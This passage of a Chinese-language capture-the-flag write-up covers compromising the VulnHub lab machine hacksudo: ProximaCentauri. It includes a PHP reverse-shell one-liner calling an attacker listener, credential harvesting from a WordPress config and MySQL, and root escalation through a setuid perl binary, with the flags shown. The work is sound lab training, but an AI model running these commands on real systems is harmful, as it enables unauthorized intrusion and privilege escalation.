define( 'SECURE_AUTH_SALT', 'put your unique phrase here' );
define( 'LOGGED_IN_SALT',   'put your unique phrase here' );
define( 'NONCE_SALT',       'put your unique phrase here' );

/**#@-*/

/**
 * WordPress database table prefix.
 *
 * You can have multiple installations in one database if you give each
 * a unique prefix. Only numbers, letters, and underscores please!
 */
$table_prefix = 'wp_';

/**
 * For developers: WordPress debugging mode.
 *
 * Change this to true to enable the display of notices during development.
 * It is strongly recommended that plugin and theme developers use WP_DEBUG
 * in their development environments.
 *
 * For information on other constants that can be used for debugging,
 * visit the documentation.
 *
 * @link https://wordpress.org/support/article/debugging-in-wordpress/
 */
define( 'WP_DEBUG', false );

/* Add any custom values between this line and the "stop editing" line. */



/* That's all, stop editing! Happy publishing. */

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
        define( 'ABSPATH', __DIR__ . '/' );
}

/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';

得到数据库用户alfauser密码passw0rd

该文件包含一个 wordpress 应用程序的配置

咱们登录到mysql进行查看

但是这个shell没办法运行相关命令

这里咱们整一个反向shell

本地kali监听:nc -nlvp 6666

``p0wny shell 中运行:php -r ‘$sock=fsockopen(“192.168.9.3”,6666);exec(“bash <&3 >&3 2>&3”);’`

?  hacksudo: ProximaCentauri  nc -nlvp 6666           
listening on [any] 6666 ...
connect to [192.168.9.3] from (UNKNOWN) [192.168.9.17] 51134
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
which python 
which python3
/usr/bin/python3
python3 -c 'import pty;pty.spawn("/bin/bash");'
www-data@ProximaCentauri:/var/backups$

2.4.2 提权至proxima用户

成功Getshell,接下来咱们继续上面的操作,先进去mysql查看一下

www-data@ProximaCentauri:/var/backups$ mysql -ualfauser -ppassw0rd
mysql -ualfauser -ppassw0rd
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 37
Server version: 10.3.27-MariaDB-0+deb10u1 Debian 10

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> show databases;
show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| proximacentauri    |
+--------------------+
4 rows in set (0.028 sec)

MariaDB [(none)]> use proximacentauri;
use proximacentauri;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [proximacentauri]> show tables;
show tables;
+---------------------------+
| Tables_in_proximacentauri |
+---------------------------+
| authors                   |
+---------------------------+
1 row in set (0.001 sec)

MariaDB [proximacentauri]> select * from authors;
select * from authors;
+------+---------+-----------------+---------------------+
| id   | name    | password        | email               |
+------+---------+-----------------+---------------------+
|    1 | proxima | alfacentauri123 | vishal@hacksudo.com |
+------+---------+-----------------+---------------------+
1 row in set (0.001 sec)

MariaDB [proximacentauri]> 

在数据库 proximacentauri 的表authors中,有一个用户 proxima 的明文密码。

这个用户跟咱们前面看到的系统用户的用户名一致

这里咱们尝试使用ssh进行登录

┌──(hirak0?kali)-[~/vulnhub/hacksudo: ProximaCentauri]
└─$ ssh proxima@192.168.9.17
The authenticity of host '192.168.9.17 (192.168.9.17)' can't be established.
ED25519 key fingerprint is SHA256:eI8yP9LtVsMcwLyNVJCLIT/guic0AroGQyjLmeyJCC8.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.9.17' (ED25519) to the list of known hosts.
                                                       
 #m    m               #                        #        
 #    #  mmm    mmm   #   m   mmm   m   m   mmm#   mmm  
 #mmmm# "   #  #"  "  # m"   #   "  #   #  #" "#  #" "# 
 #    # m"""#  #      #"#     """m  #   #  #   #  #   # 
 #    # "mm"#  "#mm"  #  "m  "mmm"  "mm"#  "#m##  "#m#" 
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
www.hacksudo.com @blackwhole effect #vishal_waghmare @twitter#vishalhwaghmare
#==============================================================================#
#hey dear you might be survive due to blackwhole effect so try 2 get right path#
#------------------------------------------------------------------------------#
did you tried?cont1=^https://github.com/hacksudo/fog-hacksudo/blob/main/blackhole.lst^
proxima@192.168.9.17's password: 
Linux ProximaCentauri 4.19.0-16-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Jun  7 13:00:54 2021 from 192.168.43.217
proxima@ProximaCentauri:~$ 

成功登录,查看一下当前目录是否有有价值的东西

proxima@ProximaCentauri:~$ ls -al
total 48
drwxrwx--- 7 proxima proxima 4096 Jun  5  2021 .
drwxr-xr-x 5 root    root    4096 Jun  5  2021 ..
drwxrwxr-x 2 root    root    4096 Jun  5  2021 alfaA
drwxrwxr-x 2 root    root    4096 Jun  5  2021 alfaB
-rwxrwxr-x 1 proxima proxima  164 Jun  7  2021 .bash_history
-rwxrwxr-x 1 proxima proxima  220 Jun  4  2021 .bash_logout
-rwxrwxr-x 1 proxima proxima 3605 Jun  5  2021 .bashrc
drwxrwxr-x 3 proxima proxima 4096 Jun  5  2021 .local
-rwxrwxr-x 1 proxima proxima  807 Jun  4  2021 .profile
drwxrwxr-x 2 root    root    4096 Jun  5  2021 proximaCentauriA
drwxrwxr-x 2 root    root    4096 Jun  5  2021 proximaCentauriB
-rw-r----- 1 proxima proxima 1009 Jun  5  2021 user.txt
proxima@ProximaCentauri:~$ cat user.txt

                             ,-.
       ___,---.__          /'|`\          __,---,___
    ,-'    \`    `-.____,-'  |  `-.____,-'    //    `-.
  ,'        |           ~'\     /`~           |        `.
 /      ___//              `. ,'          ,  , \___      \
|    ,-'   `-.__   _         |        ,    __,-'   `-.    |
|   /          /\_  `   .    |    ,      _/\          \   |
\  |           \ \`-.___ \   |   / ___,-'/ /           |  /
 \  \           | `._   `\\  |  //'   _,' |           /  /
  `-.\         /'  _ `---'' , . ``---' _  `\         /,-'
     ``       /     \    ,='/ \`=.    /     \       ''
             |__   /|\_,--.,-.--,--._/|\   __|
             /  `./  \\`\ |  |  | /,//' \,'  \
            /   /     ||--+--|--+-/-|     \   \
           |   |     /'\_\_\ | /_/_/`\     |   |
            \   \__, \_     `~'     _/ .__/   /
             `-._,-'   `-._______,-'   `-._,-'

 
user owned 
www.hacksudo.com/contact
www.twitter.com/vishalhwaghmare
flag{8b64d2451b7a8f3fd17390f88ea35917}
proxima@ProximaCentauri:~$ 

在用户目录下成功拿到flag1

查找一下sudo权限、SUID 二进制文件和具有功能的二进制文件

proxima@ProximaCentauri:~$ sudo -l
-bash: sudo: command not found
proxima@ProximaCentauri:~$ find / -perm -4000 -type f -exec ls -al {} \; 2>/dev/null
-rwsr-xr-x 1 root root 63568 Jan 10  2019 /usr/bin/su
-rwsr-xr-x 1 root root 51280 Jan 10  2019 /usr/bin/mount
-rwsr-xr-x 1 root root 34888 Jan 10  2019 /usr/bin/umount
-rwsr-xr-x 1 root root 84016 Jul 27  2018 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 63736 Jul 27  2018 /usr/bin/passwd
-rwsr-xr-x 1 root root 54096 Jul 27  2018 /usr/bin/chfn
-rwsr-xr-x 1 root root 44528 Jul 27  2018 /usr/bin/chsh
-rwsr-xr-x 1 root root 44440 Jul 27  2018 /usr/bin/newgrp
-rwsr-xr-- 1 root messagebus 51184 Jul  5  2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 436552 Jan 31  2020 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 10232 Mar 28  2017 /usr/lib/eject/dmcrypt-get-device
proxima@ProximaCentauri:~$ 

都没有什么发现

proxima@ProximaCentauri:~$ getcap -r / 2>/dev/null
/home/proxima/proximaCentauriA/perl = cap_setuid+ep
/usr/bin/ping = cap_net_raw+ep
proxima@ProximaCentauri:~$ 

这里发现有一个具有 setuid 功能的二进制 perl 副本,我们可以利用这个进行权限升级

2.4.3 perl提权

https://gtfobins.github.io/gtfobins/perl查看一下利用方式

image-20220509060254576

在反向shell中运行proximaCentauriA/perl -e 'use POSIX qw(setuid);

proxima@ProximaCentauri:~$ proximaCentauriA/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
root@ProximaCentauri:~# id
uid=0(root) gid=1001(proxima) groups=1001(proxima)
root@ProximaCentauri:~# cd /root
root@ProximaCentauri:/root# ls -al
total 36
drwx------  3 root root    4096 Jun  7  2021 .
drwxr-xr-x 18 root root    4096 Jun  4  2021 ..
-rw-r--r--  1 root root     570 Jan 31  2010 .bashrc
drwxr-xr-x  3 root root    4096 Jun  4  2021 .local
-rw-------  1 root root     927 Jun  7  2021 .mysql_history
-rw-------  1 root proxima    0 Jun  5  2021 note.txt
-rw-r--r--  1 root root     148 Aug 17  2015 .profile
-r--------  1 root root    1250 Jun  5  2021 root.txt
-rw-r--r--  1 root root     830 Jun  7  2021 .sshbanner
-rw-r--r--  1 root root     173 Jun  4  2021 .wget-hsts
root@ProximaCentauri:/root# cat root.txt
proxima centauri -----> 
                                            ,:
                                          ,' |
                                         /   :
                                      --'   /
                                      \/ /:/
                                      / ://_\
                                   __/   /
                                   )'-. /
                                   ./  :\
                                    /.' '
                                  '/'
                                  +
                                 '
                               `.
                           .-"-
                          (    |
                       . .-'  '.
                      ( (.   )8:
                  .'    / (_  )
                   _. :(.   )8P  `
               .  (  `-' (  `.   .
                .  :  (   .a8a)
               /_`( "a `a. )"'
           (  (/  .  ' )=='
          (   (    )  .8"   +
            (`'8a.( _(   (
         ..-. `8P    ) `  )  +
       -'   (      -ab:  )
     '    _  `    (8P"Ya
   _(    (    )b  -`.  ) +
  ( 8)  ( _.aP" _a   \( \   *
+  )/    (8P   (88    )  )
   (a:f   "     `"`
you rooted this server
root flag{e2798af12a7a0f4f70b4d69efbc25f4d}
root@ProximaCentauri:/root# 

成功拿到root权限,并在root目录下拿到最终flag

总结

本靶机通过信息收集得到网站CMS版本号,通过版本号找到可以利用的EXPgetshell后进行信息收集,得到mysql用户凭证,登入mysql后拿到系统用户ssh登录密码,登录该用户通过perl提权至root权限

  1. 信息收集
  2. gobuster目录扫描
  3. knock端口敲门
  4. Burpsuite爆破登录密码
  5. CVE-2020-29607利用
  6. 具有setuid功能程序提权—perl提权
  系统运维 最新文章
配置小型公司网络WLAN基本业务(AC通过三层
如何在交付运维过程中建立风险底线意识,提
快速传输大文件,怎么通过网络传大文件给对
从游戏服务端角度分析移动同步(状态同步)
MySQL使用MyCat实现分库分表
如何用DWDM射频光纤技术实现200公里外的站点
国内顺畅下载k8s.gcr.io的镜像
自动化测试appium
ctfshow ssrf
Linux操作系统学习之实用指令(Centos7/8均
上一篇文章      下一篇文章      查看所有文章
加:2022-05-11 16:45:38  更:2022-05-11 16:45:43 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/15 15:51:16-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码